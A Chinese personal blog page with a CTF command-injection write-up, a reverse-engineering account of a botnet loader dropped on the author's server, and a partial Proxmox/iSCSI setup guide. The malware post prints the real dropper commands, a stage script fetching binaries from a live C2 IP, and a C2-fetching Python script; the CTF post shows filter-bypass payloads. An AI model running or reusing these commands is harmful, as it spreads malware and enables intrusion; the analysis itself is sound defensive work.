首页
iYoRoy DN42 Network
关于
友情链接
Language
简体中文
English
Search
1
Docker下中心化部署EasyTier
2,485 阅读
2
给Android 4.9内核添加KernelSU支持
1,537 阅读
3
为博客启用Cloudflare SaaS接入实现国际分流
437 阅读
4
在TrueNAS上使用Docker安装1Panel
437 阅读
5
记一次为Android 4.9内核的ROM启用erofs支持
431 阅读
Android
运维
NAS
开发
网络技术
专题向研究
DN42
个人ISP
CTF
网络安全
登录
Search
标签搜索
网络技术
BGP
Linux
BIRD
DN42
C&C++
Android
Windows
OSPF
Docker
AOSP
MSVC
服务
DNS
STL
内部路由协议
Kernel
caf/clo
Web
TrueNAS
神楽悠笙
累计撰写
28
篇文章
累计收到
14
条评论
首页
栏目
Android
运维
NAS
开发
网络技术
专题向研究
DN42
个人ISP
CTF
网络安全
页面
iYoRoy DN42 Network
关于
友情链接
Language
简体中文
English
搜索到
28
篇与
的结果
PolarCTF 2025冬季赛 Web Polarflag WriteUp
打开网页,可发现是一个登录页: 尝试通过dirsearch扫描,得到: Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed 发现/flag.txt,访问: <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> 尝试运行,发现语法错误,修正: ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; 运行,得到:the_username_is_polar,提示我们用户名是polar。同时,题目附件提供了一个字典wordlist.txt,尝试使用BurpSuite爆破: 爆破发现当密码为6666的时候会跳转到/polar.php: 访问/polar.php,得到: <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // 初始化会话变量 if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } //想赢的人脸上是没有笑容的 if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo "MD5 不错不错 \n"; $_SESSION['collision_passed'] = true; } else { echo "MD5 你不行啊\n"; $_SESSION['collision_passed'] = false; } } if(isset($_GET["polar"])){ if($_SESSION['collision_passed']) { if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){ echo "gun gun !"; } else { echo "polar polar !"; system($_GET["polar"]); } } else { echo "回去吧,这块不要了\n"; } } else { show_source(__FILE__); echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">回家喽</a>'; } ?> 首先进行MD5绕过,传入a[]=1&b[]=2即可: POST /polar.php HTTP/1.1 Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11 a[]=1&b[]=2 发现服务端返回了一个: Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/ 并且提示MD5 不错不错,成功绕过。因为我用的BurpSuite发请求,接下来我打算用普通浏览器做,因此将这个cookie写入浏览器。接着直接访问/polar.php?polar=即可传入指令,不需要再绕MD5。 观察正则匹配规则,发现阻止了很多内容,包括一系列符号。首先尝试通过export导出环境变量,发现一个Flag:flag{7b93dd56-4f33-4738-b916-464a984093b3},提交上去发现不对,问客服说这个Flag不对(望天) 因为过滤了空格,因此可使用$IFS$1或者%09(Tab)绕过。同时,因为禁用了/,因此使用${PWD:0:1}(截取PWD环境变量的第一个字符,就是/)代替。构造请求: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1} 得到: polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var 发现Flag文件:/polarflag,因为过滤了fl,不能直接调用文件名,因此使用?????????来通配9个字符的文件。禁用了cat,tail,more,less等能打印内容的指令,但是仍然可以使用sort之类的指令,也能打印出来: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}????????? 得到Flag:flag{polarctf1314inwebgame}
2025年12月07日
97 阅读
0 评论
1 点赞
记服务器因CVE-2025-66478,CVE-2025-55182被挂RCE的逆向分析经历
背景 周六傍晚休息的时候阿里云突然给打电话,说服务器可能受到黑客入侵。上阿里云控制台看了一眼: 担心的事情还是发生了,近期披露的CVE-2025-55182漏洞可以被RCE,服务器上运行的Umami统计工具使用了包含漏洞的Next.JS版本。早上的时候我手动更新了一下我的Umami,但是看起来官方还并未发布相关更新。服务器告警来源就是umami镜像,执行了一个远程的Shell脚本。 作为一个CTFer,这送上门的样本不研究一下说不过去吧( 分析 脚本 阿里云给出的警告可以看到执行shell脚本: /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh 尝试手动下载下来那个python1.sh: export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) # 发现是根据CPU架构下载对应版本的ELF文件。 加载器 尝试手动下载上面脚本中的amd64架构的二进制,并通过IDA Pro打开: int __fastcall main(int argc, const char **argv, const char **envp) { struct hostent *v3; // rax in_addr_t v4; // eax int v5; // eax int v6; // ebx int v7; // r12d int v8; // edx _BYTE *v9; // rax __int64 v10; // rcx _DWORD *v11; // rdi _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF int optval; // [rsp+4h] [rbp-1474h] BYREF char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF if ( !access("/tmp/log_de.log", 0) ) exit(0); qmemcpy(name, "119.45.243.154", sizeof(name)); *(_QWORD *)&addr.sa_family = 4213178370LL; *(_QWORD *)&addr.sa_data[6] = 0LL; v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; v5 = socket(2, 1, 0); v6 = v5; if ( v5 >= 0 ) { optval = 10; setsockopt(v5, 6, 7, &optval, 4u); while ( connect(v6, &addr, 0x10u) == -1 ) sleep(0xAu); send(v6, "l64 ", 6uLL, 0); buf[0] = addr.sa_data[0]; buf[1] = addr.sa_data[1]; send(v6, buf, 2uLL, 0); send(v6, name, 0x20uLL, 0); v7 = syscall(319LL, "a", 0LL); if ( v7 >= 0 ) { while ( 1 ) { v8 = recv(v6, v19, 0x1000uLL, 0); if ( v8 <= 0 ) break; v9 = v19; do *v9++ ^= 0x99u; while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 ); write(v7, v19, v8); } v10 = 1024LL; v11 = v19; while ( v10 ) { *v11++ = 0; --v10; } close(v6); realpath(*argv, resolved); setenv("CWD", resolved, 1); argva[0] = "[kworker/0:2]"; argva[1] = 0LL; fexecve(v7, argva, _bss_start); } } return 0; } 分析发现主要的几个危险操作: v7 = syscall(319LL, "a", 0LL);,319是Linux x64架构下的memfd_create系统调用,用于在内存中创建匿名文件。随后,从目标服务器下载Payload,加载到这段内存中并执行。这是一个Fileless Malware,他不会将payload存储在磁盘中,而是直接加载进内存。 *v9++ ^= 0x99u;,将从服务器下载到的Payload按字节异或0x99,进行解密,可能是用于绕过防火墙 argva[0] = "[kworker/0:2]";,将本进程伪装成内核的kworker进程 其他操作: 通过检测是否存在日志文件/tmp/log_de.log,判断服务器是否已经被入侵,若已经被入侵则直接退出 连接C2服务器完成或失败后会间隔10秒再次尝试连接并加载Payload 从上述逆向代码可很明显的看出发马的服务器IP为119.45.243.154,但是端口没找到。分析一下设置端口部分的代码: *(_QWORD *)&addr.sa_family = 4213178370LL; 其中,4213178370LL(DEC)=0xFB200002(HEX),因为是QWORD,即64位值,所以实际值为0x00000000FB200002。同时因为是小端序,所以实际存储在内存的offset中的格式是02 00 20 FB 00 00 00 00。 sockaddr在内存中的offset一般是: offset 0–1:sa_family(2 字节) offset 2–15:sa_data(14 字节) 也就是说,上述赋值语句实现了: offset 0: sa_family的低字节=0x02 offset 1: sa_family的高字节=0x00 offset 2: sa_data[0]=0x20 offset 3: sa_data[1]=0xFB offset 4..7: sa_data[2..5]=0x00 0x00 0x00 0x00 其中,sa_data[0..1]代表了端口,sa_data[2..5]代表IP。因为网络字节序为大端序,因此实际端口就是0x20FB,即8443。后面也可找到赋值IP的部分: v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; 编写一个Python脚本,按照这个加载器中的逻辑连接服务器并尝试加载Payload到ELF文件: import socket import time import os C2_HOST = "119.45.243.154" C2_PORT = 8443 OUTPUT_FILE = "payload.elf" def xor_decode(data): return bytes([b ^ 0x99 for b in data]) def main(): # 删除旧的文件 if os.path.exists(OUTPUT_FILE): os.remove(OUTPUT_FILE) while True: try: print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) print("[+] Connected.") # Handshake s.send(b"l64 ") s.send(b"\x20\xfb") # fake port s.send(b"119.45.243.154".ljust(32, b"\x00")) print("[+] Handshake sent.") print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n") with open(OUTPUT_FILE, "ab") as f: while True: data = s.recv(4096) if not data: print("[-] C2 closed connection.") break decrypted = xor_decode(data) f.write(decrypted) print(f"[+] Received {len(data)} bytes, written to file.") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) except Exception as e: print(f"[-] Error: {e}") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) if __name__ == "__main__": main() 运行可得到一个ELF文件payload.elf。 Payload.elf 先丢到微步云沙箱里检测一下,发现确实是个木马: 但是沙箱并未检测出一些高危行为。问了一下Reverse方向的学长,把样本发给对方研究了一下发现是Golang编写的。使用GoReSym导出符号表,并加载进IDA Pro: \GoReSym.exe payload.elf > symbols.json 让AI编写一个IDA Pro的脚本导入符号表: import json import idc import idaapi import idautils # ⚠️ 修改这里:指向你刚才生成的 symbols.json 文件路径 json_path = r"D:\\Desktop\\symbols.json" def restore_symbols(): print("[-] Loading symbols from JSON...") try: with open(json_path, 'r', encoding='utf-8') as f: data = json.load(f) except Exception as e: print(f"[!] Error opening file: {e}") return # 1. 恢复用户函数 (UserFunctions) count = 0 for func in data.get('UserFunctions', []): start_addr = func['Start'] # 你的 JSON 里全是混淆名字,比如 shK3zqV.O86rtPRpp # 我们主要关心完整的 FullName full_name = func['FullName'] # 清理名称中 IDA 不喜欢的字符 safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_") # 尝试重命名 if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1: # 可选:如果重命名成功,尝试让 IDA 重新分析该处为代码 idc.create_insn(start_addr) idc.add_func(start_addr) count += 1 print(f"[+] Successfully renamed {count} functions.") if __name__ == "__main__": restore_symbols() 在IDA中通过File-Script file选择上述脚本即可导入符号表。同时,将符号表发给AI分析,发现存在一些对OSS存储桶的一些操作函数: (*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> 窃取或使用云凭证。 Bucket.PutObjectFromFile -> 上传文件(极可能是在窃取你服务器上的数据并上传到攻击者的 OSS Bucket)。 Bucket.DoPutObject -> 执行上传操作。 (*Config).LimitUploadSpeed / LimitDownloadSpeed -> 限制带宽占用,防止被你发现网络异常。 混淆后的包名 真实包/功能推测 证据 (Artifacts) 行为描述 ojQuzc_T Aliyun OSS SDK PutObjectFromFile, GetAccessKeySecret 连接阿里云 OSS,上传/下载文件,窃取凭证。 l2FdnE6 os/exec (命令执行) (*Ps1Jpr8w8).Start, StdinPipe, Output 执行系统命令。它在调用 Linux shell 命令。 qzjJr5PCHfoj os / 文件系统操作 Readdir, Chown, Truncate, SyscallConn 遍历目录、修改文件权限、读写文件。 PqV1YDIP godbus/dbus (D-Bus) (*Conn).BusObject, (*Conn).Eavesdrop 连接 Linux D-Bus。可能用于权限提升、监控系统事件或与 systemd 交互。 c376cVel0vv math/rand NormFloat64, Shuffle, Int63 生成随机数。常用于生成通信密钥或挖矿算法的随机性。 r_zJbsaQ net (网络底层) DialContext, Listen, Accept, SetKeepAlive 建立 TCP/UDP 连接,可能是 C2 通信或作为后门监听端口。 J9ItGl7U net/http2 http2ErrCode, WriteHeaders, WriteData 使用 HTTP/2 协议进行通信(可能用于隐藏 C2 流量)。 Otkxde ECC 密码学库 ScalarMult, Double, SetGenerator 椭圆曲线加密。可能是为了加密 C2 通信,或者是勒索软件的加密模块。 可推测一些可能的程序逻辑: 持久化与控制 (D-Bus & Net): 它尝试通过 PqV1YDIP 包连接 D-Bus,这在服务器恶意软件中较少见,可能试图劫持系统服务或监控管理员行为。 它通过 r_zJbsaQ 监听端口或反弹连接。 数据窃取 (Aliyun OSS): 它并没有将数据传回普通的 C2 服务器 IP,而是利用阿里云 OSS 作为“中转站”。这是一种非常聪明的做法,因为指向阿里云的流量通常会被防火墙视为白名单流量,很难被发现。 命令执行 (os/exec): 它包含完整的 Shell 执行能力 (l2FdnE6),可以执行任意命令、下载脚本、修改文件权限。 可能的勒索或挖矿特征: 大量的数学运算库(Otkxde, HfBi9x4DOLl 等包包含大量的 Mul, Add, Square, Invert)暗示了它是 计算密集型 的。 如果是勒索软件:这些数学库用于生成密钥加密文件。 如果是挖矿木马:这些库用于计算哈希。结合它使用了 math/rand 的 Shuffle 和 NormFloat64,这符合某些挖矿算法(如 RandomX)的特征。 进一步分析,最终找到了这样一个函数UXTgUQ_stlzy_RraJUM: 丢给AI分析,结论是: 这是一个非常典型的 Golang 编写的 C2 (Command & Control) 指令分发函数。 结合你之前提供的“Linux 加载器”上下文,这个函数属于被那个加载器下载并执行的核心木马程序(Bot)。 1. 代码总览与定位 功能: 指令分发器 (Command Dispatcher)。这是木马的主循环逻辑之一,负责接收 C2 服务器发送的指令字符串,解析并执行对应的恶意功能。 安全机制: 函数开头有一个鉴权检查 if ( v18 == a2 && (unsigned __int8)sub_4035C0() )。如果校验失败,直接返回 "401 Not Auth",说明该木马具有一定的反扫描或会话认证机制。 2. 指令集详细逆向 代码通过 switch ( a4 ) 判断指令字符串的长度,然后检查具体的内容。这里有大量的硬编码字符串和 Hex 值: Case 1 (单字符指令 - 基础控制) 这通常是早期版本残留或为了减少流量设计的简写指令: I: 调用 os_rename。功能:重命名文件。 E: 调用 os_removeAll。功能:删除文件/清理痕迹。 J: 返回 "0" 或未知。可能用于心跳检测或状态查询。 Z: 返回 "mysql_close\t1"。功能:数据库相关,推测该木马包含 MySQL 爆破或连接模块,此指令用于关闭连接。 H: 可能是获取主机信息 (Host Info)。 其他单字母 (A-Y): 分别调用了不同的子函数(如 sub_7CAF40 等),通常对应:开启代理、执行 Shell 命令、获取系统负载等。 Case 4 (四字符指令) Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT" 功能: 终止木马进程。 Case 8 (八字符指令 - 核心功能) 这是最关键的部分,暴露了木马的核心能力: Download Hex: 0x64616F6C6E776F44LL -> "Download" 功能: 下载器功能。从指定 URL 下载文件。 代码逻辑: 如果 a11 (回调函数或接口) 存在,它会调用并处理下载结果。 LocalRun Hex: 0x6E75526C61636F4CLL -> "LocalRun" 功能: 本地执行。可能是执行本地的一个 Shell 脚本或二进制文件。 Case 9 (九字符指令 - 高级攻击) InjectRun Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun" 功能: 内存注入执行。这是一个高级功能,配合你之前看到的 memfd_create,这通常指将 Payload 注入到其他进程或在内存中直接运行,不落地。 PluginRun Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun" 功能: 插件执行。说明该木马是模块化的,可以动态加载 .so 或 Go 的 plugin 模块来扩展功能(如加密货币挖矿、DDoS 攻击、端口扫描等)。 3. 响应构造逻辑 在 switch 结束后,代码有一段复杂的字符串拼接逻辑: *(_WORD *)v71 = 15917 -> ASCII | 和 } ? 或者特定的分隔符。 *(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII -。 结论: 木马会将命令执行的结果(如“OK”、“Error”或具体数据)用特定的分隔符(如 |<result>-)包裹后回传给 C2。 4. 总结与画像 结合上一段代码(Loader),我们可以对这个木马做一个完整的画像: 家族推测: 这种 InjectRun / PluginRun / LocalRun 的命名风格,以及 Golang 编写、支持模块化插件的特征,极有可能是 Spark 僵尸网络或者其变种(如 Sliver C2 修改版,但更像黑产自研的 Bot)。也有可能是 Sysrv-hello 挖矿蠕虫的变种(它们常混合使用 Go 和 Exploit)。 攻击链条: Loader: 也就是之前的那个 C 代码,负责环境判断、持久化、内存中下载 Bot。 Bot (本代码): 也就是这个 Go 程序,常驻内存。 Modules: 通过 PluginRun 动态下发挖矿模块 (XMRig) 或 DDoS 攻击模块。 Lateral Movement (横向移动): mysql_close 暗示它有扫描弱口令的能力,通过 InjectRun 感染内网其他机器。 总结 主要是感觉没什么继续分析的意义了,这个逻辑基本上可以判定是典型的Botnet,找到的IP有99%的概率都是被操控的僵尸机,去调查也没有意义。 主要还是总结一下教训,如何防止这类事情发生,对于我这种小规模的个人网站,爆出CVE最好立刻先停用有关一切服务,等确定修复的版本放出后再更新并重新启用 样本下载: Payload.zip 注:此样本未经任何处理,请勿在不加安全措施的情况下直接运行! 密码20251206
2025年12月06日
191 阅读
2 评论
4 点赞
记一次手动安装Proxmox VE, 配置多路iSCSI与NAT转发的经历
起因是租了一台物理机, 然后IDC那边没有提供PVE和Debian系统镜像, 只有Ubuntu、CentOS、Windows系列. 同时数据盘是通过多路iSCSI提供的. 我希望使用PVE来对不同使用场景进行隔离, 因此尝试重装并迁移上述配置. 备份配置 首先对系统做个大致的检查, 可发现: 系统存在两张网卡, 一张enp24s0f0接入了公网地址, 用于外部访问; 一张enp24s0f1接入了192.168.128.153的私网地址 数据盘被映射为了/dev/mapper/mpatha /etc/iscsi下存在两个iSCSI Node的配置, 分别为192.168.128.250:3260、192.168.128.252:3260, 但是二者都对应iqn.2024-12.com.ceph:iscsi. 不难推断出, 数据盘挂载是通过同时配置两个iSCSI Node, 再使用多路的方式合并成一个设备. 查看一下系统的网络配置: network: version: 2 renderer: networkd ethernets: enp24s0f0: addresses: [211.154.[数据删除]/24] routes: - to: default via: [数据删除] match: macaddress: ac:1f:6b:0b:e2:d4 set-name: enp24s0f0 nameservers: addresses: - 114.114.114.114 - 8.8.8.8 enp24s0f1: addresses: - 192.168.128.153/17 match: macaddress: ac:1f:6b:0b:e2:d5 set-name: enp24s0f1 发现就是非常简单的静态路由, 内网网卡甚至没有默认路由, 直接绑定IP即可. 然后将/etc/iscsi下iSCSI的配置文件保存一下, 其中包含了账户密码等信息 重装Debian 此次使用的是bin456789/reinstall重装脚本. 下载脚本: curl -O https://cnb.cool/bin456789/reinstall/-/git/raw/main/reinstall.sh || wget -O ${_##*/} $_ 重装成Debian 13: bash reinstall.sh debian 13 然后根据提示输入你想要设置的密码即可 如果不出意外的话, 等待10分钟左右, 会自动完成并重装成一个纯净的Debian 13. 中途可以通过ssh配合设置的密码连接, 查看安装进度. 重装完成后按照惯例进行一个换源和apt upgrade, 即可得到一个纯净的Debian 13啦 换源直接参考USTC镜像站的教程即可 安装Proxmox VE 这一步主要参考Proxmox官方的教程即可 需要注意,上述脚本安装的Debian会将主机名设置为localhost,你如果想要修改的话请在配置Hostname前修改并将hosts中的主机名改成你修改的主机名而非localhost 配置Hostname Proxmox VE要求为当前的主机名配置一个指向非回环地址的Hosts: The hostname of your machine must be resolvable to an IP address. This IP address must not be a loopback one like 127.0.0.1 but one that you and other hosts can connect to. 比如此处我的服务器IP为211.154.[数据删除], 我需要在/etc/hosts中添加如下的一条记录: 127.0.0.1 localhost +211.154.[数据删除] localhost ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 保存后, 使用hostname --ip-address检查是否会输出设置的非回环地址: ::1 127.0.0.1 211.154.[数据删除] 添加Proxmox VE软件源 Debian 13使用了Deb822格式当然你想用sources.list也可以, 因此直接参考USTC的Proxmox镜像站即可: cat > /etc/apt/sources.list.d/pve-no-subscription.sources <<EOF Types: deb URIs: https://mirrors.ustc.edu.cn/proxmox/debian/pve Suites: trixie Components: pve-no-subscription Signed-By: /usr/share/keyrings/proxmox-archive-keyring.gpg EOF 此处需要同步迁移一个keyring过来但是我上网找了一圈没找到, 因此我选择从我现有的一个Proxmox VE服务器上拉过来一份. 放在这里了: proxmox-keyrings.zip 将公钥文件解压放在/usr/share/keyrings/中, 然后运行 apt update apt upgrade -y 即可同步Proxmox VE软件源 安装Proxmox VE内核 使用如下命令安装PVE内核并重启以应用新内核: apt install proxmox-default-kernel reboot 之后通过uname -r应该能看到当前使用的是类似于6.17.2-2-pve这样以pve结尾的内核版本, 代表新内核应用成功. 安装Proxmox VE相关软件包 使用apt安装对应软件包: apt install proxmox-ve postfix open-iscsi chrony 配置过程中会需要设置postfix邮件服务器, 官方解释: 如果您的网络中有邮件服务器, 则应将postfix配置为Satellite system. 然后, 您现有的邮件服务器将成为中继主机, 将Proxmox VE发送的电子邮件路由到其最终收件人. 如果您不知道在此处输入什么, 请仅选择Local only, 并保持系统hostname不变. 之后应该能访问https://<你的服务器地址>:8006来打开Web控制台了, 账户为root, 密码为你的root密码, 即重装Debian时配置的密码. 删除旧的Debian内核和os-prober 使用以下命令: apt remove linux-image-amd64 'linux-image-6.1*' update-grub apt remove os-prober 来移除旧的Debian内核, 更新grub并移除os-prober. 移除os-prober不是必须的, 但是官方建议这么做, 因为它可能会误将虚拟机的引导文件认成多系统的引导文件, 导致将不该加的一些东西加到引导列表中. 至此, Proxmox VE的安装就完成了, 已经可以正常使用啦! 配置内网网卡 因为IDC那边iSCSI网卡和公网走的不是同一张, 而重装的时候丢失了这部分的配置, 因此需要手动配置一下内网的网卡. 打开Proxmox VE的Web后台, 找到Datacenter-localhost(主机名)-Network, 编辑内网网卡, 如我这里的是ens6f1, 填入上面备份的IPv4的CIDR格式: 192.168.128.153/17并勾选Autostart, 接着保存即可. 接着使用命令来设置网卡状态为UP: ip link set ens6f1 up 现在能Ping通内网iSCSI服务器的IP了. 配置数据盘 iSCSI 在上一步中, 我们应该已经安装了iscsiadm所需的软件包open-iscsi, 我们只需要按照之前备份的配置重新设置node即可. 首先发现一下iSCSI存储: iscsiadm -m discovery -t st -p 192.168.128.250:3260 可以得到原先存在的两个LUN Target: 192.168.128.250:3260,1 iqn.2024-12.com.ceph:iscsi 192.168.128.252:3260,2 iqn.2024-12.com.ceph:iscsi 将备份的配置文件传到服务器上, 覆盖掉原先的/etc/iscsi中的配置, 同时, 在我备份的配置中可以找到验证方面的配置: # /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.250,3260,1/default # BEGIN RECORD 2.1.5 node.name = iqn.2024-12.com.ceph:iscsi ... # 略去一些不重要的配置 node.session.auth.authmethod = CHAP node.session.auth.username = [数据删除] node.session.auth.password = [数据删除] node.session.auth.chap_algs = MD5 ... # 略去一些不重要的配置 # /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.252,3260,2/default # BEGIN RECORD 2.1.5 node.name = iqn.2024-12.com.ceph:iscsi ... # 略去一些不重要的配置 node.session.auth.authmethod = CHAP node.session.auth.username = [数据删除] node.session.auth.password = [数据删除] node.session.auth.chap_algs = MD5 ... # 略去一些不重要的配置 按照这些配置文件写入新的系统: iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.authmethod -v CHAP iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.username -v [数据删除] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.password -v [数据删除] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5 iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.authmethod -v CHAP iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.username -v [数据删除] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.password -v [数据删除] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5 (我不知道为什么验证信息需要单独写入一次, 但是实测下来不重写它无法登录) 接着, 使用: iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 --login iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 --login 登录Target, 接着使用: iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.startup -v automatic iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.startup -v automatic 开启开机自动挂载. 这个时候通过lsblk之类的工具查看磁盘应该就能发现多了两块硬盘, 我这里多出来了sdb和sdc. 配置multipath多路径 关于如何识别出是多路径设备, 我尝试通过: /usr/lib/udev/scsi_id --whitelisted --device=/dev/sdb /usr/lib/udev/scsi_id --whitelisted --device=/dev/sdc 查看两个磁盘设备的scsi_id, 发现二者是相同的, 因此可推断二者是同一块盘, 使用了多路来实现类似负载均衡和故障转移的效果 使用apt安装multipath: apt install multipath-tools 接着, 创建/etc/multipath.conf并填入: defaults { user_friendly_names yes find_multipaths yes } 配置multipathd开机自启: systemctl start multipathd systemctl enable multipathd 接着, 使用如下指令扫描并自动配置多路设备: multipath -ll 会输出: 